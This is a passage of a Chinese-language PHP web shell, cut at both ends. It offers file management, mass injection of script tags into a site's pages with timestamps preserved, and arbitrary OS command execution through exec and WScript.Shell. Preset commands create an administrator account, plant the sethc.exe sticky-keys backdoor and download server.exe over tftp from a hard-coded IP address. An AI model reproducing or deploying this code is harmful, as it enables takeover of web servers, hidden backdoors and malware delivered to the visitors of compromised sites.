. ' M'; elseif($size > 1024) $size = round($size / 1024 * 100) / 100 . ' K'; else $size = $size . ' B'; return $size; } function File_Mode() { $RealPath = realpath('./'); $SelfPath = $_SERVER['PHP_SELF']; $SelfPath = substr($SelfPath, 0, strrpos($SelfPath,'/')); return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath))); } function File_Read($filename) { $handle = @fopen($filename,"rb"); $filecode = @fread($handle,@filesize($filename)); @fclose($handle); return $filecode; } function File_Write($filename,$filecode,$filemode) { $handle = @fopen($filename,$filemode); $key = @fwrite($handle,$filecode); if(!$key) { @chmod($filename,0666); $key = @fwrite($handle,$filecode); } @fclose($handle); return $key; } function File_Up($filea,$fileb) { $key = @copy($filea,$fileb) ? true : false; if(!$key) $key = @move_uploaded_file($filea,$fileb) ? true : false; return $key; } function File_Down($filename) { if(!file_exists($filename)) return false; $filedown = basename($filename); $array = explode('.', $filedown); $arrayend = array_pop($array); header('Content-type: application/x-'.$arrayend); header('Content-Disposition: attachment; filename='.$filedown); header('Content-Length: '.filesize($filename)); @readfile($filename); exit; } function File_Deltree($deldir) { if(($mydir = @opendir($deldir)) == NULL) return false; while(false !== ($file = @readdir($mydir))) { $name = File_Str($deldir.'/'.$file); if((is_dir($name)) && ($file!='.') && ($file!='..')){@chmod($name,0777);rmdir($name);} if(is_file($name)){@chmod($name,0777);@unlink($name);} } @closedir($mydir); @chmod($deldir,0777); return @rmdir($deldir) ? true : false; } function File_Act($array,$actall,$inver) { if(($count = count($array)) == 0) return 'select file plz'; $i = 0; while($i < $count) { $array[$i] = urldecode($array[$i]); switch($actall) { case "a" : $inver = urldecode($inver); if(!is_dir($inver)) return '路径错误'; $filename = array_pop(explode('/',$array[$i])); @copy($array[$i],File_Str($inver.'/'.$filename)); $msg = '复制'; break; case "b" : if(!@unlink($array[$i])){@chmod($filename,0666);@unlink($array[$i]);} $msg = '删除'; break; case "c" : if(!eregi("^[0-7]{4}$",$inver)) return '错误属性值'; $newmode = base_convert($inver,8,10); @chmod($array[$i],$newmode); $msg = '改变属性'; break; case "d" : @touch($array[$i],strtotime($inver)); $msg = '改变时间'; break; } $i++; } return '选择文件 '.$msg.' 成功'; } function File_Edit($filepath,$filename,$dim = '') { $THIS_DIR = urlencode($filepath); $THIS_FILE = File_Str($filepath.'/'.$filename); if(file_exists($THIS_FILE)){$FILE_TIME = @date('Y-m-d H:i:s',filemtime($THIS_FILE));$FILE_CODE = htmlspecialchars(File_Read($THIS_FILE));} else {$FILE_TIME = @date('Y-m-d H:i:s',time());$FILE_CODE = '';} print<< +var NS4 = (document.layers); +var IE4 = (document.all); +var win = this; +var n = 0; +function search(str){ + var txt, i, found; + if(str == "")return false; + if(NS4){ + if(!win.find(str)) while(win.find(str, false, true)) n++; else n++; + if(n == 0) alert(str + " ... Not-Find") + } + if(IE4){ + txt = win.document.body.createTextRange(); + for(i = 0; i <= n && (found = txt.findText(str)) != false; i++){ + txt.moveStart("character", 1); + txt.moveEnd("textedit") + } + if(found){txt.moveStart("character", -1);txt.findText(str);txt.select();txt.scrollIntoView();n++} + else{if (n > 0){n = 0;search(str)}else alert(str + "... Not-Find")} + } + return false +} +function CheckDate(){ + var re = document.getElementById('mtime').value; + var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; + var r = re.match(reg); + if(r==null){alert('wrong time!format:yyyy-mm-dd hh:mm:ss');return false;} + else{document.getElementById('editor').submit();} +} + +
                            search content: +
                            +
                            +
                            +
                            +
                            change file time
                            +
                            +
                            +
                            +END; +} function File_a($p) { $MSG_BOX = '等待消息队列......'; if(!$_SERVER['SERVER_NAME']) $GETURL = ''; else $GETURL = 'http://'.$_SERVER['SERVER_NAME'].'/'; $UP_DIR = urlencode(File_Str($p.'/..')); $REAL_DIR = File_Str(realpath($p)); $FILE_DIR = File_Str(dirname(__FILE__)); $ROOT_DIR = File_Mode(); $THIS_DIR = urlencode(File_Str($p)); $UP_DIR = urlencode(File_Str(dirname($p))); $NUM_D = 0; $NUM_F = 0; if(!empty($_POST['pfn'])){$intime = @strtotime($_POST['mtime']);$MSG_BOX = File_Write($_POST['pfn'],$_POST['pfc'],'wb') ? '编辑文件 '.$_POST['pfn'].' success' : '编辑文件 '.$_POST['pfn'].' faild';@touch($_POST['pfn'],$intime);} if(!empty($_POST['ufs'])){if($_POST['ufn'] != '') $upfilename = $_POST['ufn']; else $upfilename = $_FILES['ufp']['name'];$MSG_BOX = File_Up($_FILES['ufp']['tmp_name'],File_Str($p.'/'.$upfilename)) ? 'upfile '.$upfilename.' success' : 'upfile '.$upfilename.' ';} if(!empty($_POST['actall'])){$MSG_BOX = File_Act($_POST['files'],$_POST['actall'],$_POST['inver']);} if(!empty($_GET['mn'])){$MSG_BOX = @rename(File_Str($p.'/'.$_GET['mn']),File_Str($p.'/'.$_GET['rn'])) ? '重命名 '.$_GET['mn'].' to '.$_GET['rn'].' success' : '重命名 '.$_GET['mn'].' to '.$_GET['rn'].' faild';} if(!empty($_GET['dn'])){$MSG_BOX = @mkdir(File_Str($p.'/'.$_GET['dn']),0777) ? 'create folder '.$_GET['dn'].' success' : 'create folder '.$_GET['dn'].' faild';} if(!empty($_GET['dd'])){$MSG_BOX = File_Deltree($_GET['dd']) ? '删除文件夹 '.$_GET['dd'].' 成功' : '删除文件夹 '.$_GET['dd'].' 失败';} if(!empty($_GET['df'])){if(!File_Down($_GET['df'])) $MSG_BOX = 'the download file does not exists';} Root_CSS(); print<< + function Inputok(msg,gourl) + { + smsg = "current file:[" + msg + "]"; + re = prompt(smsg,unescape(msg)); + if(re) + { + var url = gourl + escape(re); + window.location = url; + } + } + function Delok(msg,gourl) + { + smsg = "sure for del [" + unescape(msg) + "] ?"; + if(confirm(smsg)) + { + if(gourl == 'b'){document.getElementById('actall').value = escape(gourl);document.getElementById('fileall').submit();} + else window.location = gourl; + } + } + function CheckDate(msg,gourl) + { + smsg = "current file time:[" + msg + "]"; + re = prompt(smsg,msg); + if(re) + { + var url = gourl + re; + var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; + var r = re.match(reg); + if(r==null){alert('time error!format:yyyy-mm-dd hh:mm:ss');return false;} + else{document.getElementById('actall').value = gourl; document.getElementById('inver').value = re; document.getElementById('fileall').submit();} + } + } + function CheckAll(form) + { + for(var i=0;i +
                            {$MSG_BOX}
                            +
                            +
                            + +
                            +
                            +
                            + + + + + +
                            +
                            +
                            + + + + + + +END; +if(($h_d = @opendir($p)) == NULL) return false; while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' or $Filename == '..') continue; $Filepath = File_Str($p.'/'.$Filename); if(is_dir($Filepath)) { $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4); $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); $Filepath = urlencode($Filepath); echo "\n".''; $Filename = urlencode($Filename); echo ''; echo ''; echo ' '; echo ''."\n"; $NUM_D++; } } @rewinddir($h_d); while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' or $Filename == '..') continue; $Filepath = File_Str($REAL_DIR.'/'.$Filename); if(!is_dir($Filepath)) { $Fileurls = str_replace(File_Str($ROOT_DIR.'/'),$GETURL,$Filepath); $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4); $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); $Filesize = File_Size(@filesize($Filepath)); if($Filepath == File_Str(__FILE__)) $fname = ''.$Filename.''; else $fname = $Filename; echo "\r\n".' '; $Filepath = urlencode($Filepath); $Filename = urlencode($Filename); echo ' '; echo ' '; echo ' '; echo ' '."\r\n"; $NUM_F++; } } @closedir($h_d); print<< +
                            + + + + + + +文件夹({$NUM_D}) / 文件({$NUM_F})
                            + +END; +return true; } function Guama_Pass($length) { $possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; $str = ""; while(strlen($str) < $length) $str .= substr($possible,(rand() % strlen($possible)),1); return $str; } function Guama_Auto($gp,$gt,$gl,$gc,$incode,$gk,$gd,$gb,$go) { if(($h_d = @opendir($gp)) == NULL) return false; if($go) { preg_match_all("/\[\-([^~]*?)\-\]/i",$gc,$nc); $passm = (int)$nc[1][0]; if((!eregi("^[0-9]{1,2}$",$nc[1][0])) || ($passm > 12)) return false; } while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' || $Filename == '..') continue; if($gl != ''){if(eregi($gl,$Filename)) continue;} $Filepath = File_Str($gp.'/'.$Filename); if(is_dir($Filepath) && $gb) Guama_Auto($Filepath,$gt,$gl,$gc,$incode,$gk,$gd,$gb,$go); if(eregi($gt,$Filename)) { $ic = File_Read($Filepath); if(stristr($ic,$gk)) continue; if($go) $gc = str_replace($nc[0][0],Guama_Pass($passm),$gc); if($gd) $ftime = @filemtime($Filepath); if($incode == '1'){if(!stristr($ic,'')) continue; $ic = str_replace('',"\r\n".$gc."\r\n".''."\r\n",$ic); $ic = str_replace('',"\r\n".$gc."\r\n".''."\r\n",$ic);} if($incode == '2') $ic = $gc."\r\n".$ic; if($incode == '3') $ic = $ic."\r\n".$gc; echo File_Write($Filepath,$ic,'wb') ? 'ok:'.$Filepath.'
                            '."\r\n" : 'err:'.$Filepath.'
                            '."\r\n"; if($gd) @touch($Filepath,$ftime); ob_flush(); flush(); } } @closedir($h_d); return true; } function Guama_b() { if((!empty($_POST['gp'])) && (!empty($_POST['gt'])) && (!empty($_POST['gc']))) { $gk = ''; $go = false; $gt = str_replace('.','\\.',$_POST['gt']); $gl = isset($_POST['gl']) ? str_replace('.','\\.',$_POST['gl']) : ''; $gd = isset($_POST['gd']) ? true : false; $gb = ($_POST['gb'] == 'a') ? true : false; if(isset($_POST['gx'])){$gk = $_POST['gc'];if(stristr($_POST['gc'],'[-') && stristr($_POST['gc'],'-]')){$temp = explode('[-',$_POST['gc']); $gk = $temp[0]; $go = true;}} echo Guama_Auto($_POST['gp'],$gt,$gl,$_POST['gc'],$_POST['incode'],$gk,$gd,$gb,$go) ? '成功' : '失败'; echo '
                            '; return false; } $FILE_DIR = File_Str(dirname(__FILE__)); $ROOT_DIR = File_Mode(); print<< +function Fulll(i){ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";sform.gp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";sform.gt.value = Str[i];} + return true; +} +function autorun(){ + if(document.getElementById('gp').value == ''){alert('路径不能为空');return false;} + if(document.getElementById('gt').value == ''){alert('类型不能为空');return false;} + if(document.getElementById('gc').value == ''){alert('代码不能为空');return false;} + document.getElementById('sform').submit(); +} + +
                            +
                            挂马路径: +
                            +
                            文件类型: +
                            +
                            过滤对象: +开启 关闭
                            +
                            挂马代码: +
                            挂马变形说明: 程序自动寻找[-6-]标签,替换为随机字符,6表示六位随机字符,最大12位,如果不变形可以不加[-6-]标签. +
                            Example: <script language=javascript src="http://www.baidu.com/ad.js?EMTDSU"></script>
                            +
                            插入</head>标签之前; +插入文件最顶端 +插入文件最末尾
                            +
                            智能过滤重复代码 保持文件修改时间不变
                            +
                            将挂马应用于该文件夹,子文件夹和文件 +
                            仅将挂马应用于该文件夹
                            +
                            + +END; +return true; } function Qingma_Auto($qp,$qt,$qc,$qd,$qb) { if(($h_d = @opendir($qp)) == NULL) return false; while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' || $Filename == '..') continue; $Filepath = File_Str($qp.'/'.$Filename); if(is_dir($Filepath) && $qb) Qingma_Auto($Filepath,$qt,$qc,$qd,$qb); if(eregi($qt,$Filename)) { $ic = File_Read($Filepath); if(!stristr($ic,$qc)) continue; $ic = str_replace($qc,'',$ic); if($qd) $ftime = @filemtime($Filepath); echo File_Write($Filepath,$ic,'wb') ? 'ok:'.$Filepath.'
                            '."\r\n" : 'err:'.$Filepath.'
                            '."\r\n"; if($qd) @touch($Filepath,$ftime); ob_flush(); flush(); } } @closedir($h_d); return true; } function Qingma_c() { if((!empty($_POST['qp'])) && (!empty($_POST['qt'])) && (!empty($_POST['qc']))) { $qt = str_replace('.','\\.',$_POST['qt']); $qd = isset($_POST['qd']) ? true : false; $qb = ($_POST['qb'] == 'a') ? true : false; echo Qingma_Auto($_POST['qp'],$qt,$_POST['qc'],$qd,$qb) ? '成功' : '失败'; echo '
                            '; return false; } $FILE_DIR = File_Str(dirname(__FILE__)); $ROOT_DIR = File_Mode(); print<< +function Fullll(i){ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";xform.qp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";xform.qt.value = Str[i];} + return true; +} +function autoup(){ + if(document.getElementById('qp').value == ''){alert('文件路劲不能为空');return false;} + if(document.getElementById('qt').value == ''){alert('文件类型不能为空');return false;} + if(document.getElementById('qc').value == ''){alert('代码不能为空');return false;} + document.getElementById('xform').submit(); +} + +
                            +
                            清马路径: +
                            +
                            文件类型: +
                            +
                            清除代码
                            +
                            保持文件修改时间不变
                            +
                            将清马应用于该文件夹,子文件夹和文件 +
                            仅将清马应用于该文件夹
                            +
                            + +END; +return true; } function Tihuan_Auto($tp,$tt,$th,$tca,$tcb,$td,$tb) { if(($h_d = @opendir($tp)) == NULL) return false; while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' || $Filename == '..') continue; $Filepath = File_Str($tp.'/'.$Filename); if(is_dir($Filepath) && $tb) Tihuan_Auto($Filepath,$tt,$th,$tca,$tcb,$td,$tb); $doing = false; if(eregi($tt,$Filename)) { $ic = File_Read($Filepath); if($th) { if(!stristr($ic,$tca)) continue; $ic = str_replace($tca,$tcb,$ic); $doing = true; } else { preg_match_all("/\'."\r\n" : 'err:'.$Filepath.'
                            '."\r\n"; if($td) @touch($Filepath,$ftime); ob_flush(); flush(); } } @closedir($h_d); return true; } function Tihuan_d() { if((!empty($_POST['tp'])) && (!empty($_POST['tt']))) { $tt = str_replace('.','\\.',$_POST['tt']); $td = isset($_POST['td']) ? true : false; $tb = ($_POST['tb'] == 'a') ? true : false; $th = ($_POST['th'] == 'a') ? true : false; if($th) $_POST['tca'] = str_replace('.','\\.',$_POST['tca']); echo Tihuan_Auto($_POST['tp'],$tt,$th,$_POST['tca'],$_POST['tcb'],$td,$tb) ? '成功' : '失败'; echo '
                            '; return false; } $FILE_DIR = File_Str(dirname(__FILE__)); $ROOT_DIR = File_Mode(); print<< +function Fulllll(i){ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";tform.tp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";tform.tt.value = Str[i];} + return true; +} +function showth(th){ + if(th == 'a') document.getElementById('setauto').innerHTML = '
                            Searchment
                            Replacement '; + if(th == 'b') document.getElementById('setauto').innerHTML = '
                            Download Suffix

                               Replacement   '; + return true; +} +function autoup(){ + if(document.getElementById('tp').value == ''){alert('文件路径不能为空');return false;} + if(document.getElementById('tt').value == ''){alert('文件类型不能为空');return false;} + if(document.getElementById('tca').value == '' || document.getElementById('tcb').value == ''){alert('替换内容不能为空');return false;} + document.getElementById('tform').submit(); +} + +
                            +
                            替换路径: +
                            +
                            Type: +
                            +
                            替换文件中的指定内容 替换文件中的下载地址
                            +
                            查找内容: 
                            替换成为:
                            +
                            保持文件修改时间不变
                            +
                            将替换应用于该文件夹,子文件夹和文件 +
                            仅将替换应用于该文件夹
                            +
                            + +END; +return true; } function Antivirus_Auto($sp,$features,$st) { if(($h_d = @opendir($sp)) == NULL) return false; $ROOT_DIR = File_Mode(); while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' || $Filename == '..') continue; $Filepath = File_Str($sp.'/'.$Filename); if(is_dir($Filepath)) Antivirus_Auto($Filepath,$features,$st); if(eregi($st,$Filename)) { if($Filepath == File_Str(__FILE__)) continue; $ic = File_Read($Filepath); foreach($features as $var => $key) { if(stristr($ic,$key)) { $Fileurls = str_replace($ROOT_DIR,'http://'.$_SERVER['SERVER_NAME'].'/',$Filepath); $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); echo '
                            '.$Filepath.'
                            编辑删除】 '; echo '【'.$Filetime.'】 '.$var.'

                            '; break; } } ob_flush(); flush(); } } @closedir($h_d); return true; } function Antivirus_e() { if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo ' 删除成功';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? ' 删除成功' : ' 删除失败';} return false;} if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; } $SCAN_DIR = (File_Mode() == '') ? File_Str(dirname(__FILE__)) : File_Mode(); $features_php = array('ftp.class.php'=>'ftp.class.php','cha88.cn'=>'cha88.cn','Security Angel Team'=>'Security Angel Team','read()'=>'->read()','readdir'=>'readdir(','return string soname'=>'returns string soname','eval()'=>'eval(gzinflate(','eval(base64_decode())'=>'eval(base64_decode(','eval($_POST)'=>'eval($_POST','eval($_REQUEST)'=>'eval($_REQUEST','eval ($_)'=>'eval ($_','copy()'=>'copy($_FILES','copy ()'=>'copy ($_FILES','move_uploaded_file()'=>'move_uploaded_file($_FILES','move_uploaded_file ()'=>'move_uploaded_file ($_FILES','str_replace()'=>'str_replace(\'\\\\\',\'/\','); $features_asx = array('绝对路径'=>'绝对路径','输入马的内容'=>'输入马的内容','fso.createtextfile()'=>'fso.createtextfile(path,true)','<%execute(request())%>'=>'<%execute(request','<%eval request()%>'=>'<%eval request','execute session()'=>'execute session(','--Created!'=>'--Created!','WScript.Shell'=>'WScript.Shell','<%s LANGUAGE = VBScript.Encode %>'=>'<%@ LANGUAGE = VBScript.Encode %>','www.rootkit.net.cn'=>'www.rootkit.net.cn','Process.GetProcesses'=>'Process.GetProcesses','lake2'=>'lake2'); print<<
                            +扫描路径: + + +
                            +END; +if(!empty($_POST['sp'])) { if($_POST['st'] == 'php'){$features_all = $features_php; $st = '\.php|\.inc|\.php4|\.php3|\._hp|\;';} if($_POST['st'] == 'asx'){$features_all = $features_asx; $st = '\.asp|\.asa|\.cer|\.aspx|\.ascx|\.cdx|\;';} if($_POST['st'] == 'ppp'){$features_all = array_merge($features_php,$features_asx); $st = '\.php|\.inc|\.php4|\.php3|\._hp|\.asp|\.asa|\.cer|\.cdx|\.aspx|\.ascx|\;';} echo Antivirus_Auto($_POST['sp'],$features_all,$st) ? '成功' : '失败'; } echo ''; return true; } function Findfile_Auto($sfp,$sfc,$sft,$sff,$sfb) { if(($h_d = @opendir($sfp)) == NULL) return false; while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' || $Filename == '..') continue; if(eregi($sft,$Filename)) continue; $Filepath = File_Str($sfp.'/'.$Filename); if(is_dir($Filepath) && $sfb) Findfile_Auto($Filepath,$sfc,$sft,$sff,$sfb); if($sff) { if(stristr($Filename,$sfc)) { echo ' '.$Filepath.'
                            '."\r\n"; ob_flush(); flush(); } } else { $File_code = File_Read($Filepath); if(stristr($File_code,$sfc)) { echo ' '.$Filepath.'
                            '."\r\n"; ob_flush(); flush(); } } } @closedir($h_d); return true; } function Findfile_j() { if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo '删除成功';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? '删除成功' : '删除失败';} return false;} if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; } $SCAN_DIR = isset($_POST['sfp']) ? $_POST['sfp'] : File_Mode(); $SCAN_CODE = isset($_POST['sfc']) ? $_POST['sfc'] : 'config'; $SCAN_TYPE = isset($_POST['sft']) ? $_POST['sft'] : '.mp3|.mp4|.avi|.swf|.jpg|.gif|.png|.bmp|.gho|.rar|.exe|.zip'; print<< +
                            扫描路径
                            +
                             过滤文件 
                            +
                            关键字串 +搜索文件名 +搜索包含关键字
                            +
                            将搜索应用于该文件夹,子文件夹和文件 + +
                            仅将搜索应用于该文件夹
                            +
                            + +END; +if((!empty($_POST['sfp'])) && (!empty($_POST['sfc']))) { echo '
                            '; $_POST['sft'] = str_replace('.','\\.',$_POST['sft']); $sff = ($_POST['sff'] == 'a') ? true : false; $sfb = ($_POST['sfb'] == 'a') ? true : false; echo Findfile_Auto($_POST['sfp'],$_POST['sfc'],$_POST['sft'],$sff,$sfb) ? '成功' : 'Error'; echo '
                            '; } return true; } function filecollect($dir,$filelist) { $files = ftp_nlist($conn,$dir); return $files; } function ftp_php(){ $dir = ""; $ftphost = isset($_POST['ftphost']) ? $_POST['ftphost'] : '127.0.0.1'; $ftpuser = isset($_POST['ftpuser']) ? $_POST['ftpuser'] : 'root'; $ftppass = isset($_POST['ftppass']) ? $_POST['ftppass'] : 'root'; $ftplist = isset($_POST['list']) ? $_POST['list'] : ''; $ftpfolder = isset($_POST['ftpfolder']) ? $_POST['ftpfolder'] : '/'; $ftpfolder = strtr($ftpfolder,"\\","/"); $files = isset($_POST['readfile']) ? $_POST['readfile'] : ''; print<<
                            用PHP链接ftp服务

                            +

                            +
                            主机: +用户: +密码:

                            + +文件夹: + +

                            +END; +if($ftplist == 'list'){ $conn = @ftp_connect($ftphost) or die("不能链接ftp服务"); if(@ftp_login($conn,$ftpuser,$ftppass)){ $filelists = @ftp_nlist( $conn, $ftpfolder ); echo "
                            "; echo "当前目录是 $ftpfolder:
                            "; if(is_array($filelists)) { foreach ($filelists as $file) { $file = strtr($file,"\\","/"); $size_file =@ftp_size($conn, $file); if ( $size_file == -1) { $a=$a.basename($file)."
                            "; } else { $b=$b.basename($file)." ".$size_file."B
                            "; } } } echo $a; echo $b; echo "
                            "; } } print<< +
                            文件名: + +

                            +END; +$readaction = isset($_POST['read']) ? $_POST['read'] : ''; if ($readaction == 'read') { $handle = @file_get_contents("ftp://$ftpuser:$ftppass@$ftphost/$files", "r"); $handle = htmlspecialchars($handle); $handle = str_replace("\n", "
                            ", $handle); echo "$files 内容是:

                            "; echo $handle; } print<< +
                            文件夹: + + +

                            +END; +$upaction = isset($_POST['upfile']) ? $_POST['upfile'] : '' ; if ($upaction == 'upfile') { $cdir = isset($_POST['cdir']) ? $_POST['cdir'] : '/'; $conn = @ftp_connect($ftphost) or die("不能链接ftp服务"); if(@ftp_login($conn,$ftpuser,$ftppass)){ @ftp_chdir($conn, $cdir); $res_code = @ftp_put($conn,$_FILES['upload']['name'],$_FILES['upload']['tmp_name'], FTP_BINARY,0); if (empty($res_code)){ echo 'ftp上传失败
                            '; } else{ echo 'ftp上传成功
                            '; } } } print<< +
                            文件路径: + +

                            +END; +$getfile = isset($_POST['downfile']) ? $_POST['downfile'] : ''; $getaction = isset($_POST['getfile']) ? $_POST['getfile'] : ''; if ($getaction == 'down' && $getfile !=''){ function php_ftp_download($filename){ global $ftphost,$ftpuser,$ftppass; $ftp_path = dirname($filename) . "/"; $select_file = basename($filename); $ftp = @ftp_connect($ftphost); if($ftp){ if(@ftp_login($ftp, $ftpuser, $ftppass)){ if(@ftp_chdir($ftp,$ftp_path)) { $tmpfile = tempnam(getcwd(),"temp"); if(ftp_get($ftp,$tmpfile,$select_file,FTP_BINARY)){ ftp_quit($ftp); header("Content-Type:application/octet-stream"); header("Content-Disposition:attachment; filename=" . $select_file); unlink($tmpfile); exit; } } } } ftp_quit($ftp); } php_ftp_download($getfile); } } function Info_Cfg($varname){switch($result = get_cfg_var($varname)){case 0: return "No"; break; case 1: return "Yes"; break; default: return $result; break;}} function Info_Fun($funName){return (false !== function_exists($funName)) ? "Yes" : "No";} function Info_f() { $dis_func = get_cfg_var("disable_functions"); $upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "upfile forbidden"; $adminmail = (isset($_SERVER['SERVER_ADMIN'])) ? "".$_SERVER['SERVER_ADMIN']."" : "".get_cfg_var("sendmail_from").""; if($dis_func == ""){$dis_func = "No";}else{$dis_func = str_replace(" ","
                            ",$dis_func);$dis_func = str_replace(",","
                            ",$dis_func);} $phpinfo = (!eregi("phpinfo",$dis_func)) ? "Yes" : "No"; $info = array( array("服务器时间",date("Y-m-d h:i:s",time())), array("服务器域名","".$_SERVER['SERVER_NAME'].""), array("服务器IP地址",gethostbyname($_SERVER['SERVER_NAME'])), array("服务器操作系统",PHP_OS), array("服务器操作系统文字编码",$_SERVER['HTTP_ACCEPT_LANGUAGE']), array("服务器解译引擎",$_SERVER['SERVER_SOFTWARE']), array("你的IP",getenv('REMOTE_ADDR')), array("Web服务端口",$_SERVER['SERVER_PORT']), array("PHP运行方式",strtoupper(php_sapi_name())), array("PHP版本",PHP_VERSION), array("运行于安全模式",Info_Cfg("safemode")), array("服务器管理员",$adminmail), array("本文件路径",__FILE__), array("允许使用 URL 打开文件 allow_url_fopen",Info_Cfg("allow_url_fopen")), array("允许动态加载链接库 enable_dl",Info_Cfg("enable_dl")), array("显示错误信息 display_errors",Info_Cfg("display_errors")), array("自动定义全局变量 register_globals",Info_Cfg("register_globals")), array("magic_quotes_gpc",Info_Cfg("magic_quotes_gpc")), array("程序最多允许使用内存量 memory_limit",Info_Cfg("memory_limit")), array("POST最大字节数 post_max_size",Info_Cfg("post_max_size")), array("允许最大上传文件 upload_max_filesize",$upsize), array("程序最长运行时间 max_execution_time",Info_Cfg("max_execution_time")."second"), array("被禁用的函数 disable_functions",$dis_func), array("phpinfo()",$phpinfo), array("目前还有空余空间diskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb'), array("图形处理 GD Library",Info_Fun("imageline")), array("IMAP电子邮件系统",Info_Fun("imap_close")), array("MySQL数据库",Info_Fun("mysql_close")), array("SyBase数据库",Info_Fun("sybase_close")), array("Oracle数据库",Info_Fun("ora_close")), array("Oracle 8 数据库",Info_Fun("OCILogOff")), array("PREL相容语法 PCRE",Info_Fun("preg_match")), array("PDF文档支持",Info_Fun("pdf_close")), array("Postgre SQL数据库",Info_Fun("pg_close")), array("SNMP网络管理协议",Info_Fun("snmpget")), array("压缩文件支持(Zlib)",Info_Fun("gzclose")), array("XML解析",Info_Fun("xml_set_object")), array("FTP",Info_Fun("ftp_login")), array("ODBC数据库连接",Info_Fun("odbc_close")), array("Session支持",Info_Fun("session_start")), array("Socket支持",Info_Fun("fsockopen")), ); echo '
                            上一级目录 操作 属性 修改时间 大小
                            0'.$Filename.'删除 '; echo '重命名'.$Fileperm.''.$Filetime.'
                            '.$fname.' 编辑 '; echo ' 重命名 '.$Fileperm.''.$Filetime.' '.$Filesize.'
                            '; for($i = 0;$i < count($info);$i++){echo ''."\n";} echo '
                            '.$info[$i][0].''.$info[$i][1].'
                            '; return true; } function Exec_Run($cmd) { $res = ''; if(function_exists('exec')){@exec($cmd,$res);$res = join("\n",$res);} elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);} elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();} elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();} elseif(@is_resource($f = @popen($cmd,"r"))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);} return $res; } function Exec_g() { echo '
                            '; $res = '回显窗口'; $cmd = 'dir'; if(!empty($_POST['cmd'])){$res = Exec_Run($_POST['cmd']);$cmd = $_POST['cmd'];} print<< +function sFull(i){ + Str = new Array(11); + Str[0] = "ver"; + Str[1] = "path"; + Str[2] = "ipconfig /all"; + Str[3] = "whoami"; + Str[4] = "tasklist /svc"; + Str[5] = "netstat -an"; + Str[6] = "systeminfo"; + Str[7] = "net user"; + Str[8] = "net view"; + Str[9] = "net config workstation"; + Str[10] = "net config server"; + Str[11] = "net user b4che10r b4che10r /add & net localgroup administrators b4che10r /add"; + Str[12] = "query user"; + Str[13] = "copy c:\\1.php d:\\2.php"; + Str[14] = "copy c:\\windows\\explorer.exe c:\\windows\\system32\\sethc.exe & copy c:\\windows\\system32\\sethc.exe c:\\windows\\system32\\dllcache\\sethc.exe"; + Str[15] = "tftp -i 219.134.46.245 get server.exe c:\\\\server.exe"; + Str[16] = "ps -ef"; + Str[17] = "ifconfig"; + Str[18] = "cat /etc/syslog.conf"; + Str[19] = "cat /etc/my.cnf"; + Str[20] = "cat /etc/hosts"; + Str[21] = "cat /etc/services"; + document.getElementById('cmd').value = Str[i]; + return true; +} + +
                            +命令参数: + +
                            +
                            + +END; +return true; } function Com_h() { $object = isset($_GET['o']) ? $_GET['o'] : 'adodb'; $com = array("adodb" => "ADODB.Connection","wscript" => "WScript.shell","application" => "Shell.Application"); print<<[ADODB.Connection] +[WScript.shell] +[Shell.Application] +
                            +

                            +END; +$shell = new COM($com[$object]); if($object == 'wscript') { $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'dir'; $cmdpath = isset($_POST['cmdpath']) ? $_POST['cmdpath'] : 'c:\\windows\\system32\\cmd.exe'; print<<
                            + cmd命令: +
                            +END; +if(!empty($_POST['cmd'])) { $exe = @$shell->exec("$cmdpath /c ".$cmd); $out = $exe->StdOut(); $output = $out->ReadAll(); echo '
                            '.$output.'
